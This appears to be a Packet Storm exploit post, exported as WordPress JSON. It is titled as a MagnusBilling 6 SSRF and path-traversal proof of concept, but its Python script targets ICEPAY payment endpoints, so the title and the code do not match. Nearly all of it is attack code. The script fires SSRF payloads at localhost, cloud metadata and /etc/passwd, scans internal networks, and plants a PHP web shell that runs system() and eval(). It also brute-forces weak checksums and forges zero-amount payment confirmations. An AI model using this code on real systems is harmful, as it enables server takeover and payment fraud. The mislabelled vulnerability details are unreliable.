{"id":32692,"date":"2025-12-24T11:45:17","date_gmt":"2025-12-24T11:45:17","guid":{"rendered":"http:\/\/localhost\/?p=32692"},"modified":"2025-12-24T11:45:17","modified_gmt":"2025-12-24T11:45:17","slug":"magnusbilling-6-server-side-request-forgery-path-traversal","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32692","title":{"rendered":"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal_PACKETSTORM:213297"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:33:56&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for MagnusBilling 6 vulnerabilities including server-side request forgery, path traversal, and cryptographic weaknesses&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213297&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-30258&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : MagnusBilling 6 SSRF, Path Traversal, and Cryptographic Weaknesses                                                          |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/magnussolution\/magnusbilling7                                                                            |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/190424\/ \\u0026\\tCVE-2023-30258\\n    \\n    [+] Summary :  MagnusBilling 6 is a VoIP billing system with multiple critical security vulnerabilities that expose systems to complete compromise, financial fraud, and data breaches. \\n                  The system contains vulnerabilities across all layers including authentication bypass, SQL injection, command injection, and privilege escalation.\\n    \\t\\t  \\n    [+]  POC : python poc.py\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import hashlib\\n    import sys\\n    import json\\n    import time\\n    import socket\\n    import urllib.parse\\n    from concurrent.futures import ThreadPoolExecutor\\n    \\n    class ICEPAYExploiter:\\n        def __init__(self, target_url, merchant_id=None):\\n            self.target_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.merchant_id = merchant_id or 12345\\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n                &#8216;Accept&#8217;: &#8216;application\/json, text\/html, *\/*&#8217;,\\n                &#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;\\n            })\\n        \\n        def detect_icepay_endpoints(self):\\n            \\&#8221;\\&#8221;\\&#8221;Detect ICEPAY endpoints on target\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Scanning for ICEPAY endpoints&#8230;\\&#8221;)\\n            \\n            endpoints = [\\n                &#8216;\/payment&#8217;, &#8216;\/pay&#8217;, &#8216;\/checkout&#8217;, &#8216;\/icepay&#8217;, &#8216;\/process&#8217;,\\n                &#8216;\/api\/payment&#8217;, &#8216;\/api\/checkout&#8217;, &#8216;\/gateway&#8217;, &#8216;\/payment\/gateway&#8217;,\\n                &#8216;\/index.php?page=payment&#8217;, &#8216;\/checkout.php&#8217;, &#8216;\/payment.php&#8217;\\n            ]\\n            \\n            found = []\\n            for endpoint in endpoints:\\n                url = f\\&#8221;{self.target_url}{endpoint}\\&#8221;\\n                try:\\n                    resp = self.session.get(url, timeout=5)\\n                    if resp.status_code \\u003c 400:\\n                        # Check for ICEPAY indicators\\n                        content_lower = resp.text.lower()\\n                        if &#8216;icepay&#8217; in content_lower or &#8216;payment&#8217; in content_lower:\\n                            print(f\\&#8221;[+] Found endpoint: {url} ({resp.status_code})\\&#8221;)\\n                            found.append(url)\\n                except:\\n                    pass\\n            \\n            return found\\n        \\n        def exploit_ssrf_full(self, internal_target):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Full SSRF exploitation chain\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n[+] Starting SSRF attack against: {internal_target}\\&#8221;)\\n            \\n            # Method 1: Direct API URL manipulation\\n            print(\\&#8221;[*] Method 1: Direct API URL override\\&#8221;)\\n            \\n            payload = {\\n                &#8216;ic_merchantid&#8217;: self.merchant_id,\\n                &#8216;ic_amount&#8217;: &#8216;1000&#8217;,\\n                &#8216;ic_currency&#8217;: &#8216;EUR&#8217;,\\n                &#8216;ic_description&#8217;: &#8216;SSRF Test&#8217;,\\n                &#8216;ic_country&#8217;: &#8216;NL&#8217;,\\n                &#8216;ic_language&#8217;: &#8216;nl&#8217;,\\n                &#8216;apiURL&#8217;: internal_target  # Try to inject SSRF\\n            }\\n            \\n            # Try various endpoints\\n            test_endpoints = [\\n                f\\&#8221;{self.target_url}\/payment\\&#8221;,\\n                f\\&#8221;{self.target_url}\/checkout\\&#8221;,\\n                f\\&#8221;{self.target_url}\/process\\&#8221;\\n            ]\\n            \\n            for endpoint in test_endpoints:\\n                try:\\n                    print(f\\&#8221;  Testing: {endpoint}\\&#8221;)\\n                    resp = self.session.post(endpoint, data=payload, timeout=10)\\n                    \\n                    if resp.status_code == 200:\\n                        print(f\\&#8221;    Status: {resp.status_code}\\&#8221;)\\n                        print(f\\&#8221;    Response length: {len(resp.text)}\\&#8221;)\\n                        \\n                        # Check for internal data\\n                        if any(x in resp.text for x in [&#8216;root:&#8217;, &#8216;mysql&#8217;, &#8216;redis&#8217;, &#8216;internal&#8217;]):\\n                            print(f\\&#8221;[\u2713] Internal data leaked!\\&#8221;)\\n                            print(f\\&#8221;    Data: {resp.text[:500]}&#8230;\\&#8221;)\\n                            return True\\n                            \\n                except requests.exceptions.Timeout:\\n                    print(f\\&#8221;[\u2713] Request timeout &#8211; service may be accessible\\&#8221;)\\n                    return True\\n                except Exception as e:\\n                    print(f\\&#8221;    Error: {e}\\&#8221;)\\n            \\n            # Method 2: Parameter pollution in redirect\\n            print(\\&#8221;\\\\n[*] Method 2: Parameter pollution\\&#8221;)\\n            \\n            redirect_payloads = [\\n                f\\&#8221;{internal_target}?param=test\\&#8221;,\\n                f\\&#8221;http:\/\/localhost@{internal_target.replace(&#8216;http:\/\/&#8217;, &#8221;)}\\&#8221;,\\n                f\\&#8221;http:\/\/127.0.0.1#@{internal_target.replace(&#8216;http:\/\/&#8217;, &#8221;)}\\&#8221;,\\n                f\\&#8221;http:\/\/{urllib.parse.quote(internal_target)}\\&#8221;\\n            ]\\n            \\n            for payload_url in redirect_payloads:\\n                try:\\n                    test_data = {\\n                        &#8216;return_url&#8217;: payload_url,\\n                        &#8216;callback_url&#8217;: payload_url,\\n                        &#8216;notification_url&#8217;: payload_url,\\n                        &#8216;success_url&#8217;: payload_url,\\n                        &#8216;error_url&#8217;: payload_url\\n                    }\\n                    \\n                    for key, value in test_data.items():\\n                        resp = self.session.post(\\n                            f\\&#8221;{self.target_url}\/config\\&#8221;,\\n                            data={key: value},\\n                            timeout=8\\n                        )\\n                        if resp.status_code == 200:\\n                            print(f\\&#8221;  {key} accepted: {payload_url}\\&#8221;)\\n                            \\n                except:\\n                    pass\\n            \\n            # Method 3: DNS rebinding attack setup\\n            print(\\&#8221;\\\\n[*] Method 3: DNS Rebinding potential\\&#8221;)\\n            print(\\&#8221;  If the app caches DNS, we can try DNS rebinding\\&#8221;)\\n            print(\\&#8221;  Set up a domain that resolves to:\\&#8221;)\\n            print(f\\&#8221;  1. External IP (for validation)\\&#8221;)\\n            print(f\\&#8221;  2. 127.0.0.1 (for actual attack)\\&#8221;)\\n            \\n            return False\\n        \\n        def exploit_path_traversal_logging(self, web_root_guess=None):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Exploit path traversal in logging functionality\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Exploiting Path Traversal in Logging\\&#8221;)\\n            \\n            # Common web roots\\n            web_roots = [\\n                &#8216;\/var\/www\/html&#8217;,\\n                &#8216;\/var\/www&#8217;,\\n                &#8216;\/usr\/local\/apache2\/htdocs&#8217;,\\n                &#8216;\/srv\/http&#8217;,\\n                &#8216;\/home\/user\/public_html&#8217;,\\n                &#8216;C:\\\\\\\\xampp\\\\\\\\htdocs&#8217;,\\n                &#8216;C:\\\\\\\\wamp\\\\\\\\www&#8217;,\\n                &#8216;C:\\\\\\\\inetpub\\\\\\\\wwwroot&#8217;\\n            ]\\n            \\n            if web_root_guess:\\n                web_roots.insert(0, web_root_guess)\\n            \\n            # Traversal sequences\\n            traversals = [&#8216;..\/&#8217;, &#8216;..\\\\\\\\&#8217;, &#8216;..;\/&#8217;, &#8216;%2e%2e%2f&#8217;, &#8216;%252e%252e%252f&#8217;]\\n            \\n            # PHP web shell\\n            web_shell = \\&#8221;\\&#8221;\\&#8221;\\u003c?php\\n    if(isset($_GET[&#8216;cmd&#8217;])) {\\n        system($_GET[&#8216;cmd&#8217;]);\\n    }\\n    if(isset($_POST[&#8216;code&#8217;])) {\\n        eval($_POST[&#8216;code&#8217;]);\\n    }\\n    echo \\&#8221;WebShell Ready\\&#8221;;\\n    ?\\u003e\\&#8221;\\&#8221;\\&#8221;\\n            \\n            successful_uploads = []\\n            \\n            for web_root in web_roots:\\n                for traversal in traversals:\\n                    # Build path traversal payload\\n                    depth = 10\\n                    path = traversal * depth + web_root\\n                    \\n                    print(f\\&#8221;  Testing: {path}\\&#8221;)\\n                    \\n                    # Try to set logging directory\\n                    set_logging_payload = {\\n                        &#8216;action&#8217;: &#8216;set_logging_dir&#8217;,\\n                        &#8216;directory&#8217;: path,\\n                        &#8216;enable_logging&#8217;: &#8216;1&#8217;,\\n                        &#8216;merchantID&#8217;: self.merchant_id\\n                    }\\n                    \\n                    # Try various endpoints\\n                    endpoints = [\\n                        f\\&#8221;{self.target_url}\/admin\/config\\&#8221;,\\n                        f\\&#8221;{self.target_url}\/config\/update\\&#8221;,\\n                        f\\&#8221;{self.target_url}\/settings\\&#8221;,\\n                        f\\&#8221;{self.target_url}\/api\/config\\&#8221;\\n                    ]\\n                    \\n                    for endpoint in endpoints:\\n                        try:\\n                            resp = self.session.post(endpoint, data=set_logging_payload, timeout=8)\\n                            \\n                            if resp.status_code \\u003c 400:\\n                                print(f\\&#8221;    [+] Logging directory accepted at {endpoint}\\&#8221;)\\n                                \\n                                # Now trigger logging with PHP code\\n                                trigger_payload = {\\n                                    &#8216;message&#8217;: web_shell,\\n                                    &#8216;level&#8217;: &#8216;ERROR&#8217;,\\n                                    &#8216;event&#8217;: &#8216;payment_failed&#8217;,\\n                                    &#8216;merchantID&#8217;: self.merchant_id\\n                                }\\n                                \\n                                # Try to trigger logging\\n                                log_endpoints = [\\n                                    f\\&#8221;{self.target_url}\/log\\&#8221;,\\n                                    f\\&#8221;{self.target_url}\/payment\/error\\&#8221;,\\n                                    f\\&#8221;{self.target_url}\/api\/log\\&#8221;\\n                                ]\\n                                \\n                                for log_endpoint in log_endpoints:\\n                                    try:\\n                                        resp2 = self.session.post(log_endpoint, data=trigger_payload, timeout=8)\\n                                        \\n                                        if resp2.status_code == 200:\\n                                            print(f\\&#8221;    [+] Logging triggered at {log_endpoint}\\&#8221;)\\n                                            \\n                                            # Try to access the shell\\n                                            shell_filename = f\\&#8221;{self.target_url}\/#{time.strftime(&#8216;%Y%m%d&#8217;)}.log\\&#8221;\\n                                            check = self.session.get(shell_filename, timeout=5)\\n                                            \\n                                            if check.status_code == 200 and &#8216;WebShell Ready&#8217; in check.text:\\n                                                print(f\\&#8221;[\u2713] WebShell uploaded and accessible: {shell_filename}\\&#8221;)\\n                                                successful_uploads.append(shell_filename)\\n                                                \\n                                    except:\\n                                        pass\\n                                        \\n                        except:\\n                            pass\\n            \\n            return successful_uploads\\n        \\n        def exploit_checksum_bypass(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Exploit weak SHA1 checksum validation\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Exploiting Weak Checksum Validation\\&#8221;)\\n            \\n            # ICEPAY checksum formula: sha1(secret|merchant|status|&#8230;)\\n            # We&#8217;ll try to brute force or predict\\n            \\n            print(\\&#8221;[*] Testing for checksum prediction\\&#8221;)\\n            \\n            # Known weak secret patterns\\n            weak_secrets = [\\n                &#8216;test&#8217;, &#8216;secret&#8217;, &#8216;password&#8217;, &#8216;123456&#8217;, &#8216;icepay&#8217;,\\n                &#8216;merchant&#8217;, &#8216;demo&#8217;, &#8216;admin&#8217;, &#8221;, None\\n            ]\\n            \\n            # Generate test postback\\n            test_postback = {\\n                &#8216;Status&#8217;: &#8216;OK&#8217;,\\n                &#8216;Merchant&#8217;: str(self.merchant_id),\\n                &#8216;OrderID&#8217;: &#8216;TEST123&#8217;,\\n                &#8216;PaymentID&#8217;: &#8216;999999&#8217;,\\n                &#8216;Amount&#8217;: &#8216;1000&#8217;,\\n                &#8216;Currency&#8217;: &#8216;EUR&#8217;\\n            }\\n            \\n            for secret_guess in weak_secrets:\\n                # Recreate ICEPAY checksum\\n                checksum_input = f\\&#8221;{secret_guess}|{test_postback[&#8216;Merchant&#8217;]}|{test_postback[&#8216;Status&#8217;]}|OK|{test_postback[&#8216;OrderID&#8217;]}|{test_postback[&#8216;PaymentID&#8217;]}|REF123|TXN123|{test_postback[&#8216;Amount&#8217;]}|{test_postback[&#8216;Currency&#8217;]}|0|127.0.0.1\\&#8221;\\n                \\n                checksum = hashlib.sha1(checksum_input.encode()).hexdigest()\\n                \\n                test_postback[&#8216;Checksum&#8217;] = checksum\\n                \\n                print(f\\&#8221;  Testing secret: {secret_guess}\\&#8221;)\\n                print(f\\&#8221;  Generated checksum: {checksum}\\&#8221;)\\n                \\n                # Try to submit postback\\n                postback_endpoints = [\\n                    f\\&#8221;{self.target_url}\/postback\\&#8221;,\\n                    f\\&#8221;{self.target_url}\/notification\\&#8221;,\\n                    f\\&#8221;{self.target_url}\/callback\\&#8221;,\\n                    f\\&#8221;{self.target_url}\/api\/notify\\&#8221;\\n                ]\\n                \\n                for endpoint in postback_endpoints:\\n                    try:\\n                        resp = self.session.post(endpoint, data=test_postback, timeout=10)\\n                        \\n                        if resp.status_code == 200:\\n                            print(f\\&#8221;    [+] Postback accepted at {endpoint}\\&#8221;)\\n                            print(f\\&#8221;    Response: {resp.text[:100]}\\&#8221;)\\n                            \\n                            if &#8216;success&#8217; in resp.text.lower() or &#8216;ok&#8217; in resp.text.lower():\\n                                print(f\\&#8221;[\u2713] Checksum bypass successful!\\&#8221;)\\n                                return True\\n                                \\n                    except:\\n                        pass\\n            \\n            # Try SHA1 collision (if we have example collision files)\\n            print(\\&#8221;\\\\n[*] Testing SHA1 collision potential\\&#8221;)\\n            \\n            # Example from shattered.io\\n            collision_pdf1 = \\&#8221;255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1\\&#8221;\\n            collision_pdf2 = \\&#8221;255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1\\&#8221;\\n            \\n            hash1 = hashlib.sha1(bytes.fromhex(collision_pdf1)).hexdigest()\\n            hash2 = hashlib.sha1(bytes.fromhex(collision_pdf2)).hexdigest()\\n            \\n            print(f\\&#8221;  Collision PDF 1 SHA1: {hash1}\\&#8221;)\\n            print(f\\&#8221;  Collision PDF 2 SHA1: {hash2}\\&#8221;)\\n            \\n            if hash1 == hash2:\\n                print(\\&#8221;[\u2713] SHA1 collision confirmed\\&#8221;)\\n                print(\\&#8221;  Can create two different payment confirmations with same checksum\\&#8221;)\\n                \\n            return False\\n        \\n        def exploit_race_condition(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Exploit potential race conditions in file operations\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Testing for Race Conditions\\&#8221;)\\n            \\n            # If multiple requests process payments simultaneously\\n            print(\\&#8221;[*] Testing concurrent payment processing\\&#8221;)\\n            \\n            def make_payment_request(i):\\n                data = {\\n                    &#8216;merchantID&#8217;: self.merchant_id,\\n                    &#8216;amount&#8217;: &#8216;100&#8217;,\\n                    &#8216;orderID&#8217;: f&#8217;RACE{i}&#8217;,\\n                    &#8216;currency&#8217;: &#8216;EUR&#8217;\\n                }\\n                \\n                try:\\n                    resp = self.session.post(f\\&#8221;{self.target_url}\/payment\\&#8221;, data=data, timeout=15)\\n                    return f\\&#8221;Request {i}: {resp.status_code}\\&#8221;\\n                except Exception as e:\\n                    return f\\&#8221;Request {i}: Error &#8211; {e}\\&#8221;\\n            \\n            # Send concurrent requests\\n            with ThreadPoolExecutor(max_workers=10) as executor:\\n                futures = [executor.submit(make_payment_request, i) for i in range(10)]\\n                results = [f.result() for f in futures]\\n            \\n            for result in results:\\n                print(f\\&#8221;  {result}\\&#8221;)\\n            \\n            # Check for duplicate payments or inconsistent states\\n            print(\\&#8221;\\\\n[*] Checking for duplicate transaction IDs\\&#8221;)\\n            \\n            return False\\n        \\n        def internal_network_scan(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Use SSRF to scan internal network\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Internal Network Scan via SSRF\\&#8221;)\\n            \\n            # Common internal services\\n            services = [\\n                (&#8216;mysql&#8217;, 3306),\\n                (&#8216;redis&#8217;, 6379),\\n                (&#8216;mongodb&#8217;, 27017),\\n                (&#8216;postgres&#8217;, 5432),\\n                (&#8216;memcached&#8217;, 11211),\\n                (&#8216;elasticsearch&#8217;, 9200),\\n                (&#8216;rabbitmq&#8217;, 5672),\\n                (&#8216;ftp&#8217;, 21),\\n                (&#8216;ssh&#8217;, 22),\\n                (&#8216;rdp&#8217;, 3389)\\n            ]\\n            \\n            # Common internal IP ranges\\n            ip_ranges = [\\n                &#8216;127.0.0.1&#8217;,\\n                &#8216;192.168.1.{}&#8217;,\\n                &#8216;10.0.0.{}&#8217;,\\n                &#8216;172.16.0.{}&#8217;,\\n                &#8216;192.168.0.{}&#8217;,\\n                &#8216;10.10.10.{}&#8217;\\n            ]\\n            \\n            discovered = []\\n            \\n            for ip_template in ip_ranges[:2]:  # Limit for demo\\n                for i in range(1, 5):  # First few IPs\\n                    ip = ip_template.format(i)\\n                    \\n                    for service, port in services[:5]:  # First few services\\n                        target = f\\&#8221;http:\/\/{ip}:{port}\\&#8221;\\n                        \\n                        # Use the payment API to probe\\n                        probe_data = {\\n                            &#8216;apiURL&#8217;: target,\\n                            &#8216;ic_merchantid&#8217;: self.merchant_id,\\n                            &#8216;ic_amount&#8217;: &#8216;100&#8217;\\n                        }\\n                        \\n                        try:\\n                            resp = self.session.post(\\n                                f\\&#8221;{self.target_url}\/payment\/test\\&#8221;,\\n                                data=probe_data,\\n                                timeout=3\\n                            )\\n                            \\n                            # Analyze response\\n                            if resp.status_code != 500:  # Different from normal error\\n                                print(f\\&#8221;  Found: {ip}:{port} ({service}) &#8211; Status: {resp.status_code}\\&#8221;)\\n                                discovered.append((ip, port, service))\\n                                \\n                        except requests.exceptions.Timeout:\\n                            print(f\\&#8221;  Service may exist: {ip}:{port} (timeout)\\&#8221;)\\n                            discovered.append((ip, port, service))\\n                        except:\\n                            pass\\n            \\n            return discovered\\n        \\n        def comprehensive_exploit(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Run all exploitation techniques\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;=\\&#8221; * 70)\\n            print(\\&#8221;ICEPAY LIBRARY &#8211; COMPREHENSIVE EXPLOITATION POC\\&#8221;)\\n            print(\\&#8221;=\\&#8221; * 70)\\n            \\n            results = {\\n                &#8216;endpoints&#8217;: [],\\n                &#8216;ssrf_vulnerable&#8217;: False,\\n                &#8216;path_traversal_success&#8217;: [],\\n                &#8216;checksum_bypass&#8217;: False,\\n                &#8216;internal_services&#8217;: [],\\n                &#8216;race_conditions&#8217;: False\\n            }\\n            \\n            # Step 1: Discover endpoints\\n            results[&#8216;endpoints&#8217;] = self.detect_icepay_endpoints()\\n            \\n            if not results[&#8216;endpoints&#8217;]:\\n                print(\\&#8221;[-] No ICEPAY endpoints found\\&#8221;)\\n                return results\\n            \\n            # Step 2: SSRF attacks\\n            ssrf_targets = [\\n                &#8216;http:\/\/localhost:8080\/admin&#8217;,\\n                &#8216;http:\/\/127.0.0.1:3306&#8217;,  # MySQL\\n                &#8216;http:\/\/169.254.169.254\/latest\/meta-data\/&#8217;,  # AWS\\n                &#8216;file:\/\/\/etc\/passwd&#8217;\\n            ]\\n            \\n            for target in ssrf_targets:\\n                if self.exploit_ssrf_full(target):\\n                    results[&#8216;ssrf_vulnerable&#8217;] = True\\n                    break\\n            \\n            # Step 3: Path Traversal\\n            results[&#8216;path_traversal_success&#8217;] = self.exploit_path_traversal_logging()\\n            \\n            # Step 4: Checksum Bypass\\n            results[&#8216;checksum_bypass&#8217;] = self.exploit_checksum_bypass()\\n            \\n            # Step 5: Internal Network Scan (if SSRF works)\\n            if results[&#8216;ssrf_vulnerable&#8217;]:\\n                results[&#8216;internal_services&#8217;] = self.internal_network_scan()\\n            \\n            # Step 6: Race Conditions\\n            results[&#8216;race_conditions&#8217;] = self.exploit_race_condition()\\n            \\n            # Print summary\\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221; * 70)\\n            print(\\&#8221;EXPLOITATION SUMMARY\\&#8221;)\\n            print(\\&#8221;=\\&#8221; * 70)\\n            \\n            print(f\\&#8221;\u2713 Endpoints Found: {len(results[&#8216;endpoints&#8217;])}\\&#8221;)\\n            print(f\\&#8221;\u2713 SSRF Vulnerable: {results[&#8216;ssrf_vulnerable&#8217;]}\\&#8221;)\\n            print(f\\&#8221;\u2713 Path Traversal: {len(results[&#8216;path_traversal_success&#8217;])} successful\\&#8221;)\\n            print(f\\&#8221;\u2713 Checksum Bypass: {results[&#8216;checksum_bypass&#8217;]}\\&#8221;)\\n            print(f\\&#8221;\u2713 Internal Services Found: {len(results[&#8216;internal_services&#8217;])}\\&#8221;)\\n            print(f\\&#8221;\u2713 Race Conditions: {results[&#8216;race_conditions&#8217;]}\\&#8221;)\\n            \\n            if results[&#8216;path_traversal_success&#8217;]:\\n                print(\\&#8221;\\\\n[+] WebShells accessible at:\\&#8221;)\\n                for shell in results[&#8216;path_traversal_success&#8217;]:\\n                    print(f\\&#8221;  {shell}?cmd=whoami\\&#8221;)\\n            \\n            return results\\n    \\n    # Standalone exploit functions\\n    def standalone_ssrf_exploit():\\n        \\&#8221;\\&#8221;\\&#8221;Quick SSRF exploit for specific target\\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;[+] Standalone SSRF Exploit\\&#8221;)\\n        \\n        # Change these values\\n        TARGET_URL = \\&#8221;http:\/\/victim.com\/payment\/process\\&#8221;\\n        INTERNAL_TARGET = \\&#8221;http:\/\/localhost:8080\/admin\\&#8221;\\n        \\n        exploit_data = {\\n            &#8216;ic_merchantid&#8217;: &#8216;12345&#8217;,\\n            &#8216;ic_amount&#8217;: &#8216;1000&#8217;,\\n            &#8216;ic_currency&#8217;: &#8216;EUR&#8217;,\\n            &#8216;ic_country&#8217;: &#8216;NL&#8217;,\\n            &#8216;ic_language&#8217;: &#8216;nl&#8217;,\\n            &#8216;apiURL&#8217;: INTERNAL_TARGET,\\n            &#8216;chk&#8217;: &#8216;bypassed_checksum&#8217;\\n        }\\n        \\n        try:\\n            resp = requests.post(TARGET_URL, data=exploit_data, timeout=10)\\n            print(f\\&#8221;Status: {resp.status_code}\\&#8221;)\\n            print(f\\&#8221;Response: {resp.text[:500]}\\&#8221;)\\n            \\n            if resp.status_code == 200:\\n                print(\\&#8221;[\u2713] SSRF successful!\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;Error: {e}\\&#8221;)\\n    \\n    def generate_malicious_checksum():\\n        \\&#8221;\\&#8221;\\&#8221;Generate malicious ICEPAY checksum\\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;[+] Generating malicious ICEPAY checksum\\&#8221;)\\n        \\n        # ICEPAY checksum formula: sha1(secret|merchant|status|statusCode|orderID|paymentID|reference|transactionID|amount|currency|duration|consumerIPAddress)\\n        \\n        secret = \\&#8221;weaksecret\\&#8221;  # Default\/weak secret\\n        postback_data = {\\n            &#8216;Status&#8217;: &#8216;OK&#8217;,\\n            &#8216;Merchant&#8217;: &#8216;12345&#8217;,\\n            &#8216;OrderID&#8217;: &#8216;HACKED01&#8217;,\\n            &#8216;PaymentID&#8217;: &#8216;999999&#8217;,\\n            &#8216;Reference&#8217;: &#8216;EXPLOIT&#8217;,\\n            &#8216;TransactionID&#8217;: &#8216;TXN_HACK&#8217;,\\n            &#8216;Amount&#8217;: &#8216;0&#8217;,  # Try to get free payment\\n            &#8216;Currency&#8217;: &#8216;EUR&#8217;,\\n            &#8216;Duration&#8217;: &#8216;0&#8217;,\\n            &#8216;ConsumerIPAddress&#8217;: &#8216;127.0.0.1&#8217;\\n        }\\n        \\n        checksum_input = f\\&#8221;{secret}|{postback_data[&#8216;Merchant&#8217;]}|OK|OK|{postback_data[&#8216;OrderID&#8217;]}|{postback_data[&#8216;PaymentID&#8217;]}|{postback_data[&#8216;Reference&#8217;]}|{postback_data[&#8216;TransactionID&#8217;]}|{postback_data[&#8216;Amount&#8217;]}|{postback_data[&#8216;Currency&#8217;]}|{postback_data[&#8216;Duration&#8217;]}|{postback_data[&#8216;ConsumerIPAddress&#8217;]}\\&#8221;\\n        \\n        checksum = hashlib.sha1(checksum_input.encode()).hexdigest()\\n        \\n        print(f\\&#8221;Checksum Input: {checksum_input}\\&#8221;)\\n        print(f\\&#8221;Generated Checksum: {checksum}\\&#8221;)\\n        \\n        # Complete postback payload\\n        postback_data[&#8216;Checksum&#8217;] = checksum\\n        postback_data[&#8216;StatusCode&#8217;] = &#8216;OK&#8217;\\n        \\n        print(\\&#8221;\\\\nFull Postback Payload:\\&#8221;)\\n        print(json.dumps(postback_data, indent=2))\\n        \\n        return postback_data\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        if len(sys.argv) \\u003c 2:\\n            print(\\&#8221;Usage:\\&#8221;)\\n            print(\\&#8221;  Full scan: python icepay_exploit.py \\u003ctarget_url\\u003e\\&#8221;)\\n            print(\\&#8221;  Quick SSRF: python icepay_exploit.py &#8211;ssrf \\u003ctarget_url\\u003e \\u003cinternal_url\\u003e\\&#8221;)\\n            print(\\&#8221;  Generate checksum: python icepay_exploit.py &#8211;checksum\\&#8221;)\\n            sys.exit(1)\\n        \\n        if sys.argv[1] == \\&#8221;&#8211;ssrf\\&#8221;:\\n            if len(sys.argv) \\u003c 4:\\n                print(\\&#8221;Usage: python icepay_exploit.py &#8211;ssrf \\u003ctarget\\u003e \\u003cinternal_url\\u003e\\&#8221;)\\n                sys.exit(1)\\n            \\n            target = sys.argv[2]\\n            internal = sys.argv[3]\\n            \\n            exploiter = ICEPAYExploiter(target)\\n            exploiter.exploit_ssrf_full(internal)\\n            \\n        elif sys.argv[1] == \\&#8221;&#8211;checksum\\&#8221;:\\n            generate_malicious_checksum()\\n            \\n        elif sys.argv[1] == \\&#8221;&#8211;path-traversal\\&#8221;:\\n            if len(sys.argv) \\u003c 3:\\n                print(\\&#8221;Usage: python icepay_exploit.py &#8211;path-traversal \\u003ctarget\\u003e\\&#8221;)\\n                sys.exit(1)\\n            \\n            target = sys.argv[2]\\n            exploiter = ICEPAYExploiter(target)\\n            exploiter.exploit_path_traversal_logging()\\n            \\n        else:\\n            target = sys.argv[1]\\n            exploiter = ICEPAYExploiter(target)\\n            exploiter.comprehensive_exploit()\\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    